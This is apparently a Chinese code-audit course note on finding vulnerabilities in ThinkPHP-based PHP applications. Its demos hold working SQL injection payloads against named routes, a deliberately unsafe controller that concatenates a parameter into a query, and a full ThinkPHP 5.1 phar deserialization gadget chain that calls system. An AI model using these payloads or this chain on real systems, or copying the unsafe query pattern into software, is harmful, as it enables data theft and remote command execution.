

Day110 代码审计-PHP框架开发篇&ThinkPHP&版本缺陷&不安全写法&路由访问&利用链

代码审计-小迪安全



1.知识点

- 1、PHP审计-原生态开发-SQL注入&语句监控
- 2、PHP审计-原生态开发-SQL注入&正则搜索
- 3、PHP审计-原生态开发-SQL注入&功能追踪

-
- 1、PHP审计-原生态开发-SQL注入&语句监控
 - 2、PHP审计-原生态开发-SQL注入&正则搜索
 - 3、PHP审计-原生态开发-SQL注入&功能追踪

-
- 1、PHP审计-MVC开发-RCE&代码执行
 - 2、PHP审计-MVC开发-RCE&命令执行
 - 3、PHP审计-MVC开发-RCE&文件对比

-
- 1、PHP审计-动态调试-未授权安全
 - 2、PHP审计-文件对比-未授权安全
 - 3、PHP审计-未授权访问-三种形态

-
- 1、PHP审计-动态调试-变量覆盖
 - 2、PHP审计-动态调试-原生反序列化
 - 3、PHP审计-动态调试-框架反序列化

-
- 1、PHP框架学习-ThinkPHP-架构&调试&路由&接受
 - 2、PHP框架审计-ThinkPHP-不安全写法&版本漏洞
-

2.详细点

2.1 代码审计分类

- 1、原生态开发-代码审计源码案例
- 2、框架类开发-代码审计源码案例
- 3、组件类开发-代码审计源码案例
- 4、前端类开发-代码审计源码案例

2.2 审计分类

- 1、语言审计-PHP&Net&JS&Java&Python等
- 2、漏洞审计-注入&RCE&序列化&未授权等
- 3、框架审计-MVC&Tp&SpringBoot&Flask等

- 4、组件审计-FastJson&Log4j&Shrio等
- 5、工具审计-Fortify&Checkmarx&Bandit等
- 6、技术审计-DAST&SAST&IAST&动态调试等
- 7、分析审计-CC调用链&内存马原理&JNDI等

3.演示案例



- 1 -MVC流程:
- 2 1、Controller截获用户发出的请求;
- 3 2、Controller调用Model完成状态的读写操作;
- 4 3、Controller把数据传递给View;
- 5 4、View渲染最终结果并呈献给用户。
- 6 -MVC各层职能:
- 7 1、控制器Controller层-负责响应用户请求、准备数据，及决定如何展示数据。
- 8 2、模块Model层-管理业务逻辑和数据库逻辑。提供连接和操作数据库的抽象层。
- 9 3、视图View层-负责前端模版渲染数据，通过HTML方式呈现给用户。
- 10 -MVC对审计主要影响:
- 11 1、文件代码定位问题
- 12 2、代码过滤分析问题
- 13 3、前端安全发现问题



- 1 #PHP常见漏洞关键字:
- 2 SQL注入:
- 3 select insert update mysql_query mysqli等
- 4 文件上传:
- 5 \$_FILES, type="file", 上传, move_uploaded_file()等
- 6 XSS跨站:
- 7 print print_r echo sprintf die var_dump var_export等
- 8 文件包含:
- 9 include include_once require require_once等
- 10 代码执行:
- 11 eval assert preg_replace call_user_func call_user_func_array等
- 12 命令执行:
- 13 system exec shell_exec `` passthru pcntl_exec popen proc_open
- 14 变量覆盖:
- 15 extract() parse_str() importrequestvariables() \$\$ 等
- 16 反序列化:
- 17 serialize() unserialize() __construct __destruct等
- 18 其他漏洞:
- 19 unlink() file_get_contents() show_source() file() fopen()等



- 1 #通用关键字:
- 2 \$_GET, \$_POST, \$_REQUEST, \$_FILES, \$_SERVER等



- 1 MVC开发审计入口常见方法:
- 2 -搜索法: 常规或部分MVC模型源码可以采用关键字的搜索挖掘思路
- 3 -功能法: 框架MVC模型源码一般会采用功能点分析抓包追踪挖掘思路
- 4 -对比法: 可以通过前后修复版本文件及代码不同特征进行针对挖掘思路
- 5 -特征法: 数据库监控挖SQL注入, 文件监控挖上传删除写入等, 后续补充
- 6 -调试法: 动态调试
- 7 -工具法: 后续讲到



- 1 -动态调试优点:
- 2 1、实时跟踪代码执行流程
- 3 2、实时获取变量接受数据
- 4 3、实时分析指定文件动态
- 5 环境配置: https://mp.weixin.qq.com/s/7k8edea8imalz8_jJp3ODw



- 1 #框架审计总结方向:
- 2 1、版本不安全写法怎么检测
- 3 -本地复现版本写法对比
- 4 -参考官方开发手册写法
- 5 2、版本自身的漏洞怎么检测
- 6 -平常多关注此类框架漏洞
- 7 -配合黑盒工具检测找入口
- 8 <https://github.com/Mochazz/ThinkPHP-Vuln>
- 9 <https://github.com/hughink/Thinkphp-All-vuln>
- 10 3、版本自身的漏洞怎么利用
- 11 根据漏洞提示找满足条件实现调用
- 12 满足条件: 对应的函数点和可控变量

3.1 PHP框架审计-ThinkPHP5-不安全写法&版本漏洞



- 1 搭建环境: ThinkPHP V5.1.29 Phpstudy_Pro PHP7.3 Apache Mysql
- 2 开发参考: https://www.kancloud.cn/manual/thinkphp5_1/353946
- 3 1、解释TP框架开发的源码审计要点,
- 4 2、参考开发手册学习文件目录含义,
- 5 3、参考开发手册学习寻找入口目录,
- 6 4、参考开发手册学习寻找URL对应文件,
- 7 5、参考开发手册学习如何开启调试模式,
- 8 6、参考开发手册学习官方写法和 unsafe 写法。
- 9 开启调试模式: /config/app.php
- 10 'app_debug' => true,

```

11 'app_trace'          => true,
12
13 //官方写法
14 public function login(Request $request)
15 {
16     //index.php/admin/login/login1/id/1) and
    updatexml(1,concat(0x7e,user()),0x7e),1)%23
17     $id=$request->param('id');
18     $data=Db::table('cw_admin')->where('id',$id)->find();
19     return $data['user'].'|'.$data['pass'];
20 }
21
22 //不安全写法
23 public function login1(Request $request)
24 {
25     //index.php/admin/login/login1/id/1) and
    updatexml(1,concat(0x7e,user()),0x7e),1)%23
26     $id=$request->param('id');
27     $data=Db::table('cw_admin')->where("id = $id")->find();
28     return $data['user'].'|'.$data['pass'];
29 }
30
31 //版本漏洞
32 public function file_check(Request $request)
33 {
34     //index.php/index/xiaodi/file_check?f=phar://./1.png
35     $filename=$request->param('f');
36     file_exists($filename);
37 }

```

3.2 PHP框架审计-ThinkPHP5-不安全写法-SQL注入



```

1  搭建环境: Phpstudy_Pro PHP7.3 Apache Mysql
2  1、查看版本-thinkphp/base.php(搜version找)
3  define('THINK_VERSION', '5.0.24');
4  2、找不安全写法-搜where找拼接&黑盒工具
5  文件: application/bbs/controller/User.php
6  方法: xiaoxidel
7  参数: ids id
8  3、application/bbs/controller/User.php
9  index.php/bbs/user/xiaoxidel/ids/0/id/1 and updatexml(1,concat(0x7e,user()),0x7e),1)
10  问题在where语句是直接拼接SQL-where("id = {$id}")
11  如改为数组的传参就能修复此处问题-where("id",$id)
12
13  黑盒工具-入口不安全写法-SQL注入
14  文件: application/bbs/controller/User.php
15  方法: home

```

```
16 参数: ids id
17 /index.php/bbs/user/xiaoxide1/ids/1/id/1 and updatexml(1,concat(0x7e,user()),0x7e),1)
```

3.3 PHP框架审计ThinkPHP3-版本漏洞-SQL注入



```
1 搭建环境: Phpstudy_Pro PHP7.3 Apache Mysql
2 1、查看版本-ThinkPHP/ThinkPHP.php(搜version找)
3 const THINK_VERSION = '3.2.3';
4
5 2、版本漏洞-SQL注入
6 https://www.freebuf.com/articles/web/345544.html
7
8 3、找利用点-搜实现关键字
9 Application/Admin/Controller/ArticleController.class.php
10 $data = M('Article')->find(I('id'));
11
12 4、Poc构造-利用监控组合注入
13 /index.php?m=Admin&c=Article&a=SaveInfo&id[where]=id=3 and sleep(5)#
```

3.4 PHP框架审计-ThinkPHP5-版本漏洞-反序列化



```
1 搭建环境: Phpstudy_Pro PHP7.3 Apache Mysql
2 1、查看版本-thinkphp/library/think/App.php(搜version找)
3 const VERSION = '5.1.41 LTS';
4
5 2、版本漏洞-反序列化 (借助phpggc模版生成利用phar利用)
6 <?php
7 namespace think\process\pipes {
8     class windows
9     {
10         private $files;
11         public function __construct($files)
12         {
13             $this->files = array($files);
14         }
15     }
16 }
17
18 namespace think\model\concern {
19     trait Conversion
20     {
21         protected $append = array("smile" => "1");
22     }
23
24     trait Attribute
25     {
```

```

26         private $data;
27         private $withAttr = array("smile" => "system");
28
29         public function get()
30         {
31             $this->data = array("smile" => "notepad");
32         }
33     }
34 }
35 namespace think {
36     abstract class Model
37     {
38         use model\concern\Attribute;
39         use model\concern\Conversion;
40     }
41 }
42
43 namespace think\model{
44     use think\Model;
45     class Pivot extends Model
46     {
47         public function __construct()
48         {
49             $this->get();
50         }
51     }
52 }
53
54 namespace {
55
56     $conver = new think\model\Pivot();
57     $a = new think\process\pipes\windows($conver);
58
59
60     $phar = new Phar('x.phar');
61     $phar -> stopBuffering();
62     $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
63     $phar -> addFromString('test.txt','test');
64     $phar -> setMetadata($a);
65     $phar -> stopBuffering();
66 }
67 ?>
68
69 3、找利用点-搜file_exists(),fopen(),file_get_contents(),file()等文件操作的函数
70 /admin.php/update/rmdirr.html?dirname=phar://./public/upload/menubg/6543297dccc9.jpg

```


